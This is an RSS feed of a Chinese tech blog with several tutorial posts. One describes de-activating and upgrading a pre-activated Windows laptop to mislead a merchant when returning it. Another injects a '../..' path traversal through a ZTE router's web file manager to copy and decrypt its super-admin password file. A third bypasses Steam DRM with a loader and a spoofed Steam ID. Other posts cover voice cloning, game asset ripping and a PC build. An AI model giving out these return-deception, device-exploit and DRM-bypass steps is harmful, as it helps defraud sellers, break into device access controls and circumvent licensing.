<p>如题,假如你已经手贱联网并自动激活了 <strong>Windows 家庭中文版</strong></p>
|
||
<p>那么很抱歉,激活了就是激活了,只要商家想查,会查,那么这台机子就是 <strong>已激活</strong> 你无法改微软的数据库,但是,如果你赌商家只看 <strong>系统层</strong> 是否激活,那这招可以一试</p>
|
||
<p>首先,用heu kms卸载当前系统密钥,此时打开设置,Windows会被反激活</p>
|
||
<p>这时,再找一个 <strong>专业版</strong> 的通用密钥,选择 <strong>升级Windows</strong> 输入密钥,等待系统自动升级为 <strong>专业版</strong></p>
|
||
<p>然后退货</p>
|
||
<p><em>这种方法是在赌商家不会联网查询激活情况,当机子到商家那后,商家无法通过点击疑难解答来激活Windows。但是如果商家会刷机,一旦你的机子的Windows版本被刷回了Windows家庭中文版,就会自动激活,就露馅了</em></p>
|
||
</content:encoded></item><item><title>自建一个匿名文件上传终结点</title><link>https://blog.acofork.com/posts/unknown-upload/</link><guid isPermaLink="true">https://blog.acofork.com/posts/unknown-upload/</guid><description>你有没有遇到过一种场景?在学校/公司电脑需要带一个文件走,但是又不想安装远程软件。那么今天,教你无需U盘,让你在任何地方将你想要的文件带回你家!</description><pubDate>Sat, 08 Nov 2025 11:02:04 GMT</pubDate><content:encoded><h1>视频</h1>
|
||
<p>https://www.bilibili.com/video/BV1Hz1DBZEov/</p>
|
||
<h1>明确需求</h1>
|
||
<p>在做一个项目时,无论大小,首先我们要知道自己需要什么,哪些是刚需,哪些是次要的,哪些是根本不必要的</p>
|
||
<p>深度思考一下,我觉得该项目使用场景应该在:当我处于非家庭环境,且手上有一台不直通家庭网络但是可连接至互联网的设备,需要传输一些非敏感文件且文件不大(如:文档,截图,小软件)</p>
|
||
<p>那么大致的需求即为:</p>
|
||
<ol>
|
||
<li>基于Web网页,制作一个前端页面,必须包含一个 <code>input file</code> 。上传完成打印上传完成</li>
|
||
<li>后端将文件放到一个存储空间。该存储空间必须在家庭网络内较方便的访问</li>
|
||
</ol>
|
||
<h1>梳理思路,决定架构</h1>
|
||
<p>一开始我想用一种最简单的方法,这种方法无需编写任何代码。那就是使用 <a href="https://hsk.oray.com/news/14884.html">【花生壳HFS for win 正式版】使用教程-贝锐花生壳官网</a> 。我只需要将该软件部署在我的家庭电脑,然后通过CDN将服务映射到公网即可。但这会遇到几个问题:</p>
|
||
<ol>
|
||
<li>若我的家庭电脑离线,服务将不可用</li>
|
||
<li>使用时会占用家中的下载带宽</li>
|
||
</ol>
|
||
<p><img src="https://blog.acofork.com/_astro/unknown-upload-1.Cpo7Qrwr.png" alt="" /></p>
|
||
<p>那么换个思路,我们是否可以借助对象存储?</p>
|
||
<p>当然可以,我只需要找一个云函数连接到我的对象存储,然后提供一个上传端点</p>
|
||
<h1>正式开始</h1>
|
||
<p>于是我找到了EdgeOne Pages,它的Functions非常适合做这件事,且支持原生Node运行时,也就是 <code>node-functions</code> 直接使用 <code>AWS-S3</code> 这个NPM包再做一个最简单的前端上传页面,搞定!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/unknown-upload-2.BALUOA7I.png" alt="" /></p>
|
||
<p>为了防止上传重名文件,每个文件上传后都会被重命名为 <code>原文件名_时间戳_IP</code></p>
|
||
<p>该项目已开源 <a href="https://github.com/afoim/EdgeOnePageFunctionUnknownUploader-S3-">afoim/EdgeOnePageFunctionUnknownUploader-S3-</a></p>
|
||
</content:encoded></item><item><title>ZTE光猫F450不拆机获取超密</title><link>https://blog.acofork.com/posts/zte-f450-bridge/</link><guid isPermaLink="true">https://blog.acofork.com/posts/zte-f450-bridge/</guid><description>朋友老早之前就想将光猫改为桥接,今天终于整上了,但奈何没有超密,不过,在互联网的帮助下,我们最终找到了解决方案</description><pubDate>Sat, 01 Nov 2025 14:42:54 GMT</pubDate><content:encoded><blockquote>
|
||
<p>参考:</p>
|
||
<p><a href="https://blog.csdn.net/z47913/article/details/140727685">ZTE光猫F450不拆机获取超密_zxhnf450光猫超级密码-CSDN博客</a></p>
|
||
<p><a href="https://www.bilibili.com/video/BV1ri4y1h7Zo/?vd_source=6b94c66d8e200ba092130f674228bbff">【网络】中兴天翼光猫F450/F650超管密码获取_哔哩哔哩_bilibili</a></p>
|
||
</blockquote>
|
||
<h1>基本原理</h1>
|
||
<p>通过外接USB通过官方的文件管理注入路径 <code>../..</code> 来查看根目录,并将记录了光猫超密的文件复制到U盘并进行解密读取以知晓超密</p>
|
||
<h1>正式开始</h1>
|
||
<p>首先准备一个U盘,<strong>必须带有 FAT32 格式的分区</strong></p>
|
||
<p>插入光猫的USB口,等待识别</p>
|
||
<p>进入光猫的文件管理,查看U盘内文件。此时F12,选中其中一个文件夹,将 HTML 代码改为</p>
|
||
<pre><code>&lt;a href="javascript:;" style="color:#535353;"
|
||
onclick="openfile('../..', false)"
|
||
title="System Volume Information"&gt;
|
||
System Volume Information
|
||
&lt;/a&gt;
|
||
|
||
</code></pre>
|
||
<p>然后点击该文件夹,等待几秒后就进入了光猫的 <code>/</code> 目录</p>
|
||
<p>复制 <code>/userconfig/cfg/db_user_cfg.xml</code> 到U盘</p>
|
||
<p>拔出U盘,插入电脑,将 <code>db_user_cfg.xml</code> 拿出</p>
|
||
<p>前往 <a href="https://www.nirsoft.net/utils/router_password_recovery.html">RouterPassView - 从 Windows 上的路由器备份文件中恢复丢失的密码</a> 下载</p>
|
||
<p><img src="https://blog.acofork.com/_astro/zte-f450-bridge.BuVp2h5P.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/zte-f450-bridge-1.Isgk30JL.png" alt="" /></p>
|
||
<p>解压并使用 <code>RouterPassView</code> 打开 <code>db_user_cfg.xml</code></p>
|
||
<p>搜索 <code>tele</code> ,寻找超密</p>
|
||
<p><img src="https://blog.acofork.com/_astro/zte-f450-bridge-3.OeOHvUel.png" alt="" /></p>
|
||
</content:encoded></item><item><title>如何绕过Steam直接启动Steam上的游戏?</title><link>https://blog.acofork.com/posts/hook-steam-drm/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hook-steam-drm/</guid><description>经常买Steam单机游戏的小伙伴们都知道,Steam上的大部分游戏在启动时都要求Steam在后台运行,那么如果我只是在玩一个单机游戏又不想带Steam启动要怎么办呢?这篇文章来帮你</description><pubDate>Wed, 15 Oct 2025 14:39:40 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先我们需要有一个完整的Steam版的游戏包体</p>
|
||
<p>前往 <code>Steam\steamapps</code> 你会发现有很多的 <code>appmanifest_xxx.acf</code> 文件。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/hook-steam-drm-3.C0wuVKJ5.png" alt="" /></p>
|
||
<p>使用 <strong>记事本</strong> 挨个打开,知道找到你需要Hook的游戏,记录以下信息</p>
|
||
<p><img src="https://blog.acofork.com/_astro/hook-steam-drm-4.CXdQvhOz.png" alt="" /></p>
|
||
<p>前往 <a href="https://github.com/Wu-Yijun/steam_client_loader">Wu-Yijun/steam_client_loader</a></p>
|
||
<p>下载最新的文件名带有 <strong>Windows</strong> 的 <strong>Release</strong>
|
||
<img src="https://blog.acofork.com/_astro/hook-steam-drm-1.C4RyUA_Y.png" alt="" /></p>
|
||
<p>解压,剔除无关文件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/hook-steam-drm-2.4PB-3GAD.png" alt="" /></p>
|
||
<p>编辑 <code>ColdClientLoader.ini</code></p>
|
||
<pre><code>#My own modified version of ColdClientLoader originally by Rat431
|
||
[SteamClient]
|
||
Exe=manosaba.exe
|
||
ExeRunDir=.
|
||
ExeCommandLine=
|
||
#IMPORTANT:
|
||
AppId=3101040
|
||
|
||
SteamClientDll=steamclient.dll
|
||
SteamClient64Dll=steamclient64.dll
|
||
</code></pre>
|
||
<p><code>Exe</code> 填写要启动的程序名称</p>
|
||
<p><code>AppId</code> 填写上一步获取的</p>
|
||
<p>保存</p>
|
||
<p>进入 <code>steam_settings</code></p>
|
||
<p>编辑 <code>force_steamid.txt</code> 填入上一步获取的 <code>LastOwner</code> 字段的值</p>
|
||
<p>编辑 <code>DLC.txt</code> 填入 <code>AppId=Name</code>,如</p>
|
||
<pre><code>3101040=魔法少女ノ魔女裁判
|
||
</code></pre>
|
||
<p>回到根目录,将所有文件复制到游戏文件夹内,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/hook-steam-drm-5.DC_dgUFP.png" alt="" /></p>
|
||
<p>随后运行, <code>steamclient_loader.exe</code> 即可在不启动Steam的情况下直接拉起游戏</p>
|
||
<p><img src="https://blog.acofork.com/_astro/VMWSQyHhF5.Stk6fQsV.gif" alt="" /></p>
|
||
</content:encoded></item><item><title>手把手教你AI翻唱!</title><link>https://blog.acofork.com/posts/rvc/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rvc/</guid><description>利用RVC训练音色模型然后使用Replay直出AI翻唱!</description><pubDate>Mon, 13 Oct 2025 14:23:12 GMT</pubDate><content:encoded><h1>视频教程</h1>
|
||
<p>https://www.bilibili.com/video/BV19F41zPEnM/</p>
|
||
<h1>流程</h1>
|
||
<p>RVC:训练角色音色模型</p>
|
||
<p>Replay:利用音色模型+原曲进行AI翻唱</p>
|
||
<p>UVR&amp;MSST:进行人声伴奏分离</p>
|
||
<h1>准备音源</h1>
|
||
<p>至少10分钟,推荐1小时。音频内仅允许有一种音色,可以有停顿,如果想要更高质量可以自己裁剪停顿处</p>
|
||
<h1>利用RVC训练模型</h1>
|
||
<p>进入 <a href="https://github.com/RVC-Project/Retrieval-based-Voice-Conversion-WebUI">RVC-Project/Retrieval-based-Voice-Conversion-WebUI: Easily train a good VC model with voice data &lt;= 10 mins!</a> 根据你的系统和显卡来进行下载,或者使用该链接下载(国内高速) <a href="https://www.yuque.com/flowercry/hxf0ds">语音克隆&amp;变声器 整合包下载</a> 注意不要下错了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-1.DypkMEZa.png" alt="" /></p>
|
||
<p>直接运行 <code>go-web.bat</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-2.BZI9wJTq.png" alt="" /></p>
|
||
<p>进入 WebUI 并切换到训练一栏</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-3.wv2ePDB3.png" alt="" /></p>
|
||
<p>首先写模型名称</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-4.C_A5SJdu.png" alt="" /></p>
|
||
<p>然后将你的音源放到一个空文件夹</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-5.CiKOwkmz.png" alt="" /></p>
|
||
<p>然后填进去</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-6.BUsZcHb3.png" alt="" /></p>
|
||
<p>总训练轮数推荐50 ~ 200</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-7.-cMFLZZf.png" alt="" /></p>
|
||
<p>然后点击一键训练(需要很久,建议晚上睡觉前训练)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-8.DKynRhbA.png" alt="" /></p>
|
||
<p>训练结束后可以在 <code>assets/weights</code> 找到模型文件, <code>.pth</code> 结尾的</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-9.DECOhO4u.png" alt="" /></p>
|
||
<h1>利用Replay做AI翻唱</h1>
|
||
<p>下载 <a href="https://www.weights.com/replay">Replay</a></p>
|
||
<p>首先 <strong>Select Audio</strong> 选择你的原歌曲</p>
|
||
<p><strong>Model</strong> 选择刚刚训练出的模型</p>
|
||
<p>然后点击 <strong>Convert Audio</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-10.BQk7GbZm.png" alt="" /></p>
|
||
<p>在输出的文件的 <strong>View in Folder</strong> 可以找到 <strong>干净的AI人声</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-11.CXII5Hmz.png" alt="" /></p>
|
||
<h1>伴奏和人声分离</h1>
|
||
<h3>UVR</h3>
|
||
<blockquote>
|
||
<p>如果你是50系显卡请前往<a href="https://github.com/Anjok07/ultimatevocalremovergui/issues/1889">GPU Acceleration Hangs on RTX 5070Ti (Driver 576.80, CUDA 12.9) · Issue #1889 · Anjok07/ultimatevocalremovergui</a>通过<a href="https://www.mediafire.com/file_premium/4jg10r9wa3tujav/UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8.zip/file">UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8</a>下载适用于50系显卡的UVR</p>
|
||
</blockquote>
|
||
<p>下载 <a href="https://github.com/Anjok07/ultimatevocalremovergui">Anjok07/ultimatevocalremovergui: GUI for a Vocal Remover that uses Deep Neural Networks.</a></p>
|
||
<p>首先下载模型,选择设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-12.CW3wUU1h.png" alt="" />
|
||
选择 <strong>Download Center</strong> 下载 <strong>VR Arch</strong> 的 <strong>5_HP-Karaoke-UVR</strong> 模型。然后回到首页
|
||
<img src="https://blog.acofork.com/_astro/rvc-13.C7kVm3o4.png" alt="" /></p>
|
||
<p>首先通过 <strong>Select Input</strong> 选择原音频</p>
|
||
<p>然后通过 <strong>Select Output</strong> 选择输出的文件夹</p>
|
||
<p><strong>CHOOSE PROCESS METHOD</strong> 选择 <strong>VR Architecture</strong></p>
|
||
<p><strong>CHOOSE VR MODEL</strong> 选择我们刚刚下载的 <strong>5_HP-Karaoke-UVR</strong> 模型</p>
|
||
<p>勾选 <strong>GPU Conversion</strong></p>
|
||
<p>然后点击 <strong>Start Processing</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-14.Ii_Hcdp1.png" alt="" /></p>
|
||
<p>输出文件夹中 <strong>Instrumental</strong> 为伴奏, <strong>Vocals</strong> 为人声</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-15.g_Sr4rw3.png" alt="" /></p>
|
||
<h3>MSST</h3>
|
||
<p>下载 <a href="https://github.com/SUC-DriverOld/MSST-WebUI">SUC-DriverOld/MSST-WebUI: A WebUI app for Music-Source-Separation-Training and we packed UVR together!</a></p>
|
||
<p>双击 <code>go-webui.bat</code> 运行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-16.QzfLn3iZ.png" alt="" /></p>
|
||
<p>首先去安装模型。每个模型的最终输出文件可能不一样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-17.4rQM4ke5.png" alt="" /></p>
|
||
<p>然后都是字面意思了,随后点击 <strong>输入音频分离</strong> 开始转换</p>
|
||
<p><img src="https://blog.acofork.com/_astro/rvc-18.LbJS3PQ8.png" alt="" /></p>
|
||
</content:encoded></item><item><title>手把手教你克隆音色!</title><link>https://blog.acofork.com/posts/index-tts2/</link><guid isPermaLink="true">https://blog.acofork.com/posts/index-tts2/</guid><description>仅需几秒的语音就能克隆音色,无需繁琐配置,一键启动!随时随地做蓝底神人小视频!</description><pubDate>Mon, 13 Oct 2025 12:19:06 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>视频教程: https://www.bilibili.com/video/BV1qv41zgEjE/</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>请全程魔法</p>
|
||
</blockquote>
|
||
<p>安装Git Lfs: <code>git lfs install</code></p>
|
||
<p>克隆仓库: <a href="https://github.com/index-tts/index-tts">index-tts/index-tts: An Industrial-Level Controllable and Efficient Zero-Shot Text-To-Speech System</a></p>
|
||
<p>拉取Git Lfs文件: <code>git lfs pull</code></p>
|
||
<p>安装UV(Python包管理器,类似pip): <code>pip install -U uv</code></p>
|
||
<p>安装依赖: <code>uv sync --extra webui</code></p>
|
||
<p>安装hf-cli: <code>uv tool install "huggingface-hub[cli,hf_xet]"</code></p>
|
||
<p>从hf下载模型: <code>hf download IndexTeam/IndexTTS-2 --local-dir=checkpoints</code></p>
|
||
<p>运行web UI: <code>uv run webui.py</code></p>
|
||
<p>浏览器打开 <code>7860</code> 端口</p>
|
||
<h1>简单使用</h1>
|
||
<p>WebUI页面长这样
|
||
<img src="https://blog.acofork.com/_astro/index-tts2-1.Qy2vTgA2.png" alt="" /></p>
|
||
<p>首先将音色参考音频输入(几秒即可)</p>
|
||
<p>然后输入要朗读的文本</p>
|
||
<p>最终点击生成</p>
|
||
<h1>调教</h1>
|
||
<p>推荐使用 <strong>使用情感向量控制</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/index-tts2-2.BECsE42d.png" alt="" /></p>
|
||
</content:encoded></item><item><title>人生中的第一台自己组装的台式!键盘亮显示器必亮!</title><link>https://blog.acofork.com/posts/first-pc/</link><guid isPermaLink="true">https://blog.acofork.com/posts/first-pc/</guid><description>很早就想装一个台式常驻家里了,这次阴差阳错的获得了一个机会,至于为什么我称它为阴差阳错,请看VCR</description><pubDate>Sat, 11 Oct 2025 05:15:38 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>我知道大家来看都是想听听我分享第一次手动组装台式机的所想所感,但是,请容许我先讲述一下在这之前的事情,这将解释为什么我在该文简介介绍是 <strong>阴差阳错的获得了一个机会</strong> 同时,这也是 <strong>不得不品的一环</strong></p>
|
||
<p>让我们将时间轴拨动到我还持有着 <strong>极光X笔记本</strong> 的时候,虽然前几期文章大致讲过了,我把极光X卖了换了Mac,但是就仅止于此了,实际上这仅仅只是一个平庸的开始</p>
|
||
<p><img src="https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-45-03-97_e41039de8eaacf2.Do5FtVd2.jpg" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-47-07-88_c03b3f779c2dfd4.Dm_mTNf0.jpg" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/IMG20250929204541.C37Ur2Va.jpg" alt="" />
|
||
那么首先,因为我和朋友打 <strong>卡拉彼丘</strong> 红温了,那天就觉得 <strong>我从来没有觉得打游戏开心过</strong> ,于是便决定将手上的Windows笔记本,也就是极光X卖掉,然后买一个MacBook专注生产力(难绷)</p>
|
||
<p>我这个人执行力很高,第一天就上 <strong>转转</strong> 把极光X卖了,然后立马下单了一个25年的MacBook Air,也就是前几期文章说的 <strong>我为什么买了个Mac</strong></p>
|
||
<p>接下来,用了几天,Mac不愧是Mac,只要你是拿他干活,那M4+macOS将是神魔同体,超强的处理器性能+高度统一的工作流。不管你是拿他剪视频,修图,做海报,写网页,改代码等等,只要是生产力,那Mac就是信手拈来</p>
|
||
<p>但是,俗话说的好, <strong>饱暖思淫欲</strong> 。人不可能一天24小时除去睡觉的8小时16小时都在工作,这不现实,也太压抑。所以,在Mac到手的第二天我就开始研究这玩意怎么玩 <strong>GalGame</strong> 至于为什么不研究怎么玩 <strong>卡拉彼丘</strong> ,一是当时红温状态仍在持续,二是我早就知道在macOS上运行Windows程序用的还是Wine那一套。而Wine虽然发展了这么多年,还是过不去竞技游戏的 <strong>反作弊</strong> 这一关。所以就没想着在Mac上玩了,况且层层转译不仅消耗性能,也徒增功耗,我要是真想玩游戏,我为什么不用Windows?</p>
|
||
<p>怀疑的种子已在心中生根发芽,那么,只需要一把火即可彻底焚尽我的 <strong>苹果梦</strong> 。那么这把火就是: <strong>关于我买了个Mac但是没有买DP转C的线导致我没法在显示器上用macOS同时因为没有C口拓展坞我的鼠标键盘也用不上那我是不是这辈子就只能用触控板和蝶式键盘了亚达亚达怎带亚达这件事</strong> 。如果你看懂上面的加粗文字了的话,你可能会好奇,欸,为什么不尝试买个DP转C口的线呢?(实际上后面真买了)为什么不尝试买个拓展坞呢?那是因为</p>
|
||
<p>我这个人考虑事情都是顾全大局,当我认为Mac不可能陪伴我较长时间这个结论得出时,抛弃Mac只是时间问题</p>
|
||
<p>而后,顺理成章的在 <strong>爱回收</strong> (因为报价多300)把Mac卖了,质检小哥问我用了几天的时候,我说5天,他愣住了,我说: <strong>哎,还是Windows好用,macOS真用不明白</strong> ,随后他也附和道: <strong>是的是的</strong>
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-48-04-91_4fbb30eb7b71661.CDriHUam.jpg" alt="" /></p>
|
||
<p>总之,无论过程如何,我现在已经没有电脑可以用了,那么下一步肯定是抓紧再整个电脑过来</p>
|
||
<p>可能是一时心急,一不小心发现了京东有一个闪购功能,又一不小心溢价了一千买了个 <strong>暗影精灵11锐龙版</strong> ,闪购确实很闪啊,半小时不到就送到了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-48-41-11_4fbb30eb7b71661.P5-Wv2x6.jpg" alt="" /></p>
|
||
<p>当即就开机,嗯!还是Windows味正!</p>
|
||
<p>但好景不长,可能是因为我之前对AMD机子有点阴影,又加上这破机子到手当天蓝屏3次,花屏2次,游戏帧率也不是很稳定(虽然后面手动调稳了)。导致又萌发了一个新想法: <strong>笔记本就是智商税,同价位性能释放还得看台式机!</strong></p>
|
||
<p>不用我说,你们应该也猜到了,没错!又是5天之后,我把 <strong>暗影精灵11锐龙版</strong> 在 <strong>转转</strong> 上出掉了。当质检小哥再次问我的你机子买了几天的时候,我说5天,他愣住了,随后说道:<strong>这我还测集贸了</strong> 随后不到十分钟我就收到打款了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-49-05-90_c03b3f779c2dfd4.DA-RcUtC.jpg" alt="" /></p>
|
||
<p>好的,那么第二次轮回又结束了,此时我仍然处于一个没电脑用的情况(虽然也不是刚需)。不过这次,我下定决心了: <strong>一定要整个台式机玩玩!</strong></p>
|
||
<p>恰巧,朋友准备换CPU了,又恰巧,要从Intel换成AMD,也就是说,他的主板和U都闲置了,就问我要不要。那我肯定是求之不得,然后便顺理成章的拿到了板U,接下来只需要自己买显卡内存硬盘电源散热机箱即可,因为板U暂时不需要我掏钱了,所以预算非常充足,又因为我这个人心急吧,于是便找了 <strong>京东当日达</strong> 也就是本地仓发货的,可能要加个几百块,但是刚好可以治我的“心急病”,但是吧,朋友的板U本来是走飞机的,但是安检没过,所以转陆运了,那么陆运就不能当日达了,也就是说就算我的其他配件当日达,板U不能当日达那我这加的钱就是白加,不过算了,既来之则安之,那么以下是我的配置单
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-10-09-20-06-36-95_ae1f93045b87aac.CbC3RDAd.jpg" alt="" /></p>
|
||
<p>那么装机后效果如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/IMG20251010160613.DHwETIn1.jpg" alt="" /><img src="https://blog.acofork.com/_astro/IMG20251011055119.BdK1C2JV.jpg" alt="" /></p>
|
||
<h1>装机教程</h1>
|
||
<p>因为我本人活这么大从来没自己装过机,但是我觉得既然我是搞技术的,这东西应该也不难,再加上当今有很多装机教程视频可以看,比如 https://www.bilibili.com/video/BV1BG4y137mG ,我就是看它一步步去弄的,因为配件都是自己DIY的,有些步骤可能对不上,而且某些东西说明书虽然说不行但是实际上可以,行不行还得自己动手试试</p>
|
||
<h1>装机坑点</h1>
|
||
<p>内存条。视频内演示的主板内存卡扣是双端的,但是我这个主板仅单端有卡扣,所以我在另一边扳了半天没反应才发现那边没卡扣(我是笨蛋</p>
|
||
<p>水冷。现在装机不仅仅是让他能 <strong>跑起来</strong> 更是美观和 <strong>R!G!B!</strong> ,但是,这个水冷一共有三个RGB线,但是主板上只有一个RGB接口,听说是要做 <strong>神光同步</strong> 的,但是你既然包装内没带集线器那我就不接了,反正对我来说 <strong>R!G!B!</strong> 是徒增功耗(不过这小灯确实挺好看的</p>
|
||
<p>硅脂。一般散热器会送你点硅脂,不用单独买</p>
|
||
<p>机箱。因为主板背部也有很多触点,如果直接和机箱接触可能会造成短路,所以一般机箱内部都有螺丝孔可以上螺丝柱,然后将主板夹在螺丝柱上固定。问题就在这个螺丝柱了,它虽然是一个六角螺丝柱,但是 <strong>没有送螺丝柱套筒</strong> ,也就是说,如果你家中没有老虎钳,这螺丝柱你是别想安上了,除非你是绿巨人</p>
|
||
<p>机箱说明书。说明书上写着支持前置240冷排,确实支持,但是显卡挡住了,因为我太信说明书了,我就又去 <strong>京东闪购</strong> 下单了个风冷,<strong>250</strong> 块钱,商家还跟我打电话确认我的主板型号,可能曾经发生过什么不可告人的事件* 总之,风冷刚到我就被群友提醒可以上置冷排,试了一下确实可以,系内说明书!</p>
|
||
<h1>性能测试</h1>
|
||
<p>首先这是最终上机配置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/first-pc.BxaPk8FZ.png" alt="" />
|
||
CPU-Z跑分
|
||
<img src="https://blog.acofork.com/_astro/first-pc-1.CrlZfgnt.png" alt="" />
|
||
甜甜圈一键烤鸡(1280x720)帧数
|
||
<img src="https://blog.acofork.com/_astro/d1122f2dcca5ea532c7aa45483120e3d.Cz_A8KSX.png" alt="" />
|
||
AIDA64内存和三缓测试
|
||
<img src="https://blog.acofork.com/_astro/first-pc-2.D2FZLIZk.png" alt="" />
|
||
单烤FPU最高功耗及温度
|
||
<img src="https://blog.acofork.com/_astro/first-pc-3.BTZJKDaq.png" alt="" />
|
||
AS SSD Benchmark(硬盘测速)
|
||
<img src="https://blog.acofork.com/_astro/first-pc-4.CrrGGwpe.png" alt="" /></p>
|
||
</content:encoded></item><item><title>魔法少女的魔女审判解包(Unity通用解包方案)</title><link>https://blog.acofork.com/posts/manosaba-unzip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/manosaba-unzip/</guid><description>魔判这部作品真的很不错,大家可以去Steam搜索魔法少女的魔女审判下载下来玩玩</description><pubDate>Sun, 05 Oct 2025 16:09:36 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>前往 https://github.com/AssetRipper/ ,下载 <strong>AssetRipper</strong> 并打开</p>
|
||
<p>这会自动调用浏览器并导向 <code>http://127.0.0.1:64203</code> 暂时放一边</p>
|
||
<p>接下来在Steam页面对游戏右键并选择 <code>管理 - 浏览本地文件</code>
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-1.P5nbEuVG.png" alt="" />
|
||
会打开你的文件资源管理器并导向该游戏位于系统中的实际路径 <img src="https://blog.acofork.com/_astro/manosaba-unzip-2.DQPsnMjC.png" alt="" />
|
||
点击 <code>地址栏</code> 然后复制
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-3.BTLrv9TC.png" alt="" />
|
||
此时在 <strong>AssetRipper</strong> 中我们选择 <code>文件 - 打开文件夹</code> 并粘贴路径,并进入 <code>*_Data</code> 文件夹,这里为 <strong>manosaba_Data</strong>
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip.DO2aE5FK.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-5.Dt7ZT_LR.png" alt="" />
|
||
接下来会进入漫长的等待时间。网页会卡在加载,我们可以查看一并打开的命令窗口确认资源载入进度
|
||
当你发现 <strong>查看已导入文件</strong> 可被点击后,方可继续
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-6.DXj17sWo.png" alt="" />
|
||
选择右上角的 <code>导出 - 导出所有文件</code>
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-7.C3qOa9zc.png" alt="" />
|
||
点击选择文件夹,随便选个位置放解包后的文件
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-8.Bg-kYtuC.png" alt="" />
|
||
然后点击 <strong>导出主要内容</strong>
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-9.DJmpg06t.png" alt="" />
|
||
最终,寻找类似 <code>Assets</code> 文件夹,就有所有的资源文件了(如CG图,MV,角色语音等)
|
||
<img src="https://blog.acofork.com/_astro/manosaba-unzip-10.Bjycr6Np.png" alt="" /></p>
|
||
<p>注:某些资源为骨骼/模型和动作文件,游戏进行中显现的2D图并非直接由静态文件提供,而是骨骼/模型和动作文件协作而成,对于这些内容,你需要自己拼出完整的资源画面,在此不做讨论</p>
|
||
</content:encoded></item><item><title>在Mac上玩GalGame竟如此简单!</title><link>https://blog.acofork.com/posts/mac-gal/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mac-gal/</guid><description>虽然说用了Mac就等于远离了所有游戏,但是偶尔还是想打打Gal放松放松的,那么有没有傻瓜式的方法让我们可以抱着Mac在床上嗯嗯啊啊呢,有的!</description><pubDate>Tue, 30 Sep 2025 19:29:21 GMT</pubDate><content:encoded><h1>思路</h1>
|
||
<p>首先,新版的Mac用的是Arm架构的Apple自研芯片并且搭载基于Unix的MacOS系统。而大部分游戏则是专为Windows x64打造的。也就是说,我们需要翻译两层,首先将Unix转Win,再将Arm架构专为x64架构</p>
|
||
<p>诚然,你可以使用 <strong><a href="https://www.codeweavers.com/crossover">CrossOver</a></strong> 来自动化这个流程,或者手动在Apple开发者工具下载GPTK手动执行该操作。但是这两个操作一个要钱,一个要命(指时间和脑子)</p>
|
||
<p>我们这里采用 <strong>虚拟机</strong> 来简化这些操作。由于是虚拟机,所以只需要准备一个Arm镜像就可以在Mac上完美运行一个Arm的Win11系统,又由于微软干的大好事,Arm版本的Windows11在运行x64程序是会自动转译,所以我们只需要保证必要的运行库安装即可。是的,这可能在性能上会大打折扣,但是兼容性是最高的,且如果你只玩Gal这种类PPT游戏,性能差距感知不强</p>
|
||
<h1>正式开始</h1>
|
||
<p>首先,我们下载虚拟机软件 <strong><a href="https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Fusion&amp;freeDownloads=true">VMware Fusion</a></strong> (需要注册一个博通账号)</p>
|
||
<p>登录后你可能会被重定向到 Dashboard,再次访问一次链接即可进入下载软件界面
|
||
<img src="https://blog.acofork.com/_astro/mac-gal.BfM7hBaJ.png" alt="" />
|
||
⚠️注意:你可能会发现下载按钮被禁用,这并不是你没有权限,而是你没有阅读用户许可协议,你可能又会发现,用户许可协议的勾打不上。请先点击用户协议超链接,不管你看没看,再回退到之前到页面,你就会发现用户许可协议的勾可以被选中了</p>
|
||
<p>让我们省略一下安装过程...</p>
|
||
<p>假设你已经成功安装了 <strong>VMware Fusion</strong>
|
||
